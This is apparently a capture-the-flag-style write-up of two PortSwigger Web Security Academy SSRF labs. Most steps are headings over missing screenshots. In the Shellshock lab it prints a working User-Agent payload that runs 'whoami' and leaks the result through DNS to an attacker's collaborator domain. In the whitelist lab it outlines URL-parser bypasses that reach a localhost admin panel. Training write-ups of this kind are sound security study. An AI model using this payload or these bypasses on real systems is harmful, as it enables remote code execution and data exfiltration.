portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Server-side request forgery (SSRF):

6 Blind SSRF with Shellshock exploitation

This lab demonstrates how to exploit SSRF vulnerabilities combined with the Shellshock bug to execute remote code.

7 SSRF with whitelist-based input filter

This lab shows how attackers can bypass whitelist-based input filters to exploit SSRF vulnerabilities.

LAB 6 - Blind SSRF with Shellshock exploitation

Lab Description

image

Solution

2. Using Collaborator Everywhere

image

3. Preparing Shellshock Payload

image

Final Payload (used in User-Agent):

I replaced /bin/eject with /bin/nslookup because I wanted the DNS lookup for the domain which contained the result of whoami and added $(whoami) before the Burp collaborator URL to see the output in the collaborator window. This was the final payload:

() { :;}; /bin/nslookup $(whoami).<my-collaborator-id>.oastify.com

image


4. Identifying the Vulnerable Internal Host

image

Setting Payload attack on intruder

image

While my intruder attack was running, I received a callback on the burp collaborator along with the OS user which when I submitted in the application solved the lab

image

image


LAB 7 - SSRF with whitelist-based input filter

Lab Description

image

Solution

1. Initial Attempt – Direct Access Blocked

http://localhost/admin
External stock check must be stock.weliketoshop.net

image


2. Testing With Whitelisted Domain

image


3. Bypassing the Whitelist Using URL Parser Confusion

3.1. Injecting a Username Before the Host

image

3.2. Using Fragment Injection With #

image

3.3. Trying URL Encoding
3.4. Double URL Encoding

image


4. Injecting localhost

image


5. Accessing the Admin Interface

image

image

6. Final Payload to Delete User

image